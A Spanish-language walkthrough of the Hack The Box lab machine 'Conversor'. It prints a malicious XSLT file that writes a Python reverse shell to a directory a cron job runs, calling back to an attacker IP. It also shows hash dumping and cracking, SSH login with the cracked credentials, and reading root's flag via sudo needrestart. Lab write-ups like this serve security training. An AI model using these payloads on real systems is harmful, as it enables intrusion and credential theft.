Conversor – Hack The Box [Write Up]

La máquina Conversor es una máquina fácil de HTB.

Resumen de conceptos trabajados:

Modificación de /etc/hosts (host mapping) Enumeración de contenido web (Gobuster / brute-force de rutas) Análisis de código fuente descargado Revisión de documentación interna (install.md / cron hints) Abuso de funcionalidad legítima (XSLT → generación de archivo) Cron exploitation / ejecución periódica como www-data Reverse shell (obtención de shell remota limitada) Enumeración interna (filesystem / aplicación / sqlite) Crackeo de hashes (offline / servicios online) Autenticación SSH con credenciales obtenidas Enumeración de sudo (privilege enumeration: sudo -l) Abuso de configuración de sudo / ejecución como root

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

Si quieres empezar con Hack The Box te dejo el enlace para que puedas crearte una cuenta y comenzar a practicar con sus laboratorios y Academia.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn»

NUMERACIÓN -> ESCANEO DE PUERTOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello, ejecutamos los siguientes comandos:

nmap -sn 10.10.11.92

ping -c 1 10.10.11.92 -R

Sabemos por tanto que la máquina víctima está activa y que su distribución es Linux.

¿Por qué? porque el TTL (Time To Live) nos dice que es de 64 el cual está asociado con máquinas Linux. En este caso como estamos en un laboratorio de HTB, se usa un nodo intermediario de conexión (como vemos en el trace route -R) que lo reduce a 63.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos. En mi caso uso siempre este comando (en este post te cuento lo que hace cada comando):

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.92 -oG Escaneo

Detectamos que los puertos típicos para este nivel están abiertos, es decir, puerto web http y ssh de autenticación, además del puerto 8080 (a priori).

Si ahora hacemos un escaneo con nmap para ver qué servicios y versiones corren para esos puertos abiertos, vemos que el 8080 está cerrado (¿un falso positivo?), el 22 es un OpenSSH 8.9p1 (a priori no vulnerable), y el puerto 80 hace una redirección al dominio conversor.htb pero no resuelve.

nmap -sCV -p22,80 10.10.11.92

Por tanto, descartamos el 8080, el 22 lo dejamos en stand-by, y pasamos al puerto web 80 modificando el archivo /etc/hosts para hacer una resolución DNS asociado esa IP al nombre de dominio que nos dan conversor.htb .

Una vez modificado con «nano /etc/hosts» y agregado la IP junto con el nombre del dominio, si intentamos de nuevo acceder por el navegador a ese dominio, ya nos resuelve:

Nos entrega un panel de login y registro. En este punto, investigamos si tenemos información acerca de esa aplicación en cuanto al CMS que usa, versión, etc, que pueda tener credenciales por defecto públicas no corregidas, o cualquier otro exploit público conocido.

ENUMERACIÓN CONTENIDO WEB

No encuentro a priori rápido nada relevante más allá de la versión del servidor de Apache que lo sirve que es la 2.4.52 (la 2.4.50 tiene exploits de RCE públicos conocidos). Pero antes voy a hacer un descubrimiento de directorios, subdominios o archivos ocultos que me puedan dar alguna pista más.

Para ello usaré Gobuster:

gobuster dir -u http://conversor.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30 -x php,html,txt,zip

y se detecta de primeras un directorio de /about , que al acceder vemos información acerca del nombre de los desarrolladores (potenciales nombres de usuarios) y un botón de descarga del código fuente de lo que parece ser la aplicación.

ANÁLISIS CÓDIGO

Me descargo en local el código fuente para analizarlo.

El archivo solo está empaquetado en .tar, no comprimido, por lo que usamos el siguiente comando:

tar -xvf source_code.tar.gz

De primeras vemos interesante una base de datos en SQLite de usuarios en la ruta instances/users.db.

Miramos dentro de esa base de datos pero no se encuentra nada dentro.

Al ver el interior del fichero install.md vemos la última línea que nos muestra que cada minuto, el usuario del sistema www-data (el mismo que ejecuta el servidor web Apache) ejecutará todos los archivos Python (*.py) que estén en el directorio /var/www/conversor.htb/scripts/.

Es decir, que si conseguir subir un archivo .py a esa carpeta, se ejecutará automáticamente con permisos de www-data cada minuto por lo que el siguiente paso es crear un archivo en python malicioso que podamos subir y nos creé con Reverse Shell una conexión a la máquina.

ABUSO DE FUNCIONALIDAD

Para ello, lo que hago, teniendo en cuenta que en el panel se nos pide subir un fichero xml y un fichero xslt, es, coger y crear un «example.xml» con contenido de ejemplo cualquier que encontré en internet, y luego para el fichero xslt lo que hice fue crear uno llamado «nmap.xslt» con el siguiente contenido (cambia la IP por la de tu máquina atacante, y asocia un puerto para luego ponerte en escucha con Netcat):

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exslt="http://exslt.org/common"
  extension-element-prefixes="exslt">

  <xsl:output method="text"/>
  <xsl:template match="/">
    <exslt:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
      <xsl:text>import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.247",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])</xsl:text>
    </exslt:document>
  </xsl:template>
</xsl:stylesheet>

Si subimos ambos ficheros, y nos ponemos en escucha en nuestra máquina por el mismo puerto 4444 tenemos conexión con la máquina atacante pasados un minuto del cron, y somos el usuario www-data.

CRON EXPLOITATION

Es decir, conseguimos una shell inversa como www-data en la máquina víctima, lo cual significa que tenemos ejecución remota de código (RCE) y control parcial del sistema.

Entonces ahora nos movemos por la carpeta donde www-data tiene permisos que es «conversor.htb», después por instance, y abrimos la BBDD de users.db, y nos encontramos con un fichero ilegible donde probablemente estén usuarios y contraseñas que necesitamos pero que necesitamos formatearlo:

pero como tenemos shell en la máquina como www-data, y esta tiene acceso de lectura al archivo, con sqlite vamos a abrir esa BBDD:

sqlite3 users.db
.table
SELECT id, username, password FROM users;

y vemos los usuarios y sus hashes:

1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|hola|4d186321c1a7f0f354b297e8914ab240
6|aec|098f6bcd4621d373cade4e832627b4f6

CRAKEO DE HASHES

Probamos con Crackstation la ruptura de esos hashes para esos usuarios:

fismathack|Keepmesafeandwarm
hola|hola
aec|test

Ahora que tenemos los potenciales usuarios y contraseñas, y teniendo el puerto 22 ssh abierto que encontramos al inicio, lo que hacemos es probar el acceso con ellos a ver si alguno nos da conexión a la máquina:

AUTENTICACION SSH

Probamos con el usuario fismathack y efectivamente entramos, pudiendo acceder a la user.txt flag:

Ahora continuamos con la escalada de privilegios a root, y en este caso lo que hago es ver los permisos que ese usuario tiene con el comando «sudo -l» y vemos:

Esto nos dice que el usuario fismathack puede ejecutar este binario /usr/sbin/needrestart como root y sin contraseña.

¿Qué es needrestart?

needrestart es una utilidad de sistemas Linux que revisa si hay servicios que deben reiniciarse tras actualizaciones del sistema. Lo importante es que en versiones vulnerables, puede explotarse para conseguir ejecución arbitraria como root.

Al hacer una búsqueda en Google, vemos que existen múltiples vulnerabilidades asociadas a needrestart:

comprobamos qué versión de «needrestart» es la que nos reporta la consola para poder ver qué exploit se podría aplicar, y nos confirma que es la versión v3.7:

ABUSO DE CONFIGURACIÓN

Si aplicamos el siguiente comando nos da directamente la flag de root.txt:

sudo /usr/sbin/needrestart -c /root/root.txt

Y es que como el binario needrestart puede ser ejecutado como root sin contraseña (según sudo -l), el sistema ha tratado de ejecutar ese comando como si tú fueras root.

Aunque needrestart ha devuelto un mensaje de error de parsing (porque no esperaba un archivo .txt como entrada), sí que ha intentado procesar el contenido del archivo /root/root.txt.

Y como ese archivo contiene directamente la flag de root, el parser la ha «vomitado» en pantalla en el propio mensaje de error.

No hacía falta explotar la CVE-2024-48990 con payloads maliciosos ni reverse shells en este caso.

La máquina estaba mal configurada porque permitía ejecutar needrestart como root, sin restricciones de parámetros. Eso ya es una vulnerabilidad de escalada de privilegios por mala configuración de sudo.

RESUMEN DE LA MÁQUINA CONVERSOR

Escaneamos la máquina para ver qué servicios tiene (HTTP y SSH). Al abrir el sitio web vimos un panel con subida de archivos y, al revisar el código fuente que ofrecía la propia web, encontramos una pista: cada minuto el servidor ejecuta cualquier .py que esté en /var/www/conversor.htb/scripts/. Con esto en mente subimos un XML de ejemplo y una XSLT maliciosa que, al procesarse, creó un shell.py en esa carpeta; al ejecutarse el cron nos devolvió una reverse shell como www-data (el usuario del servidor web). Con acceso como www-data abrimos la base de datos SQLite de la aplicación, sacamos los usuarios y sus hashes, los desciframos (CrackStation) y probamos las credenciales por SSH: entramos como fismathack y conseguimos la flag de usuario. Para la escalada a root comprobamos sudo -l y vimos que fismathack puede ejecutar /usr/sbin/needrestart sin contraseña. Al ejecutar sudo /usr/sbin/needrestart -c /root/root.txt el programa intentó procesar el archivo y mostró el contenido de root.txt en pantalla, así que obtuvimos la flag de root sin necesidad de explotar más vulnerabilidades: era una mala configuración de sudo.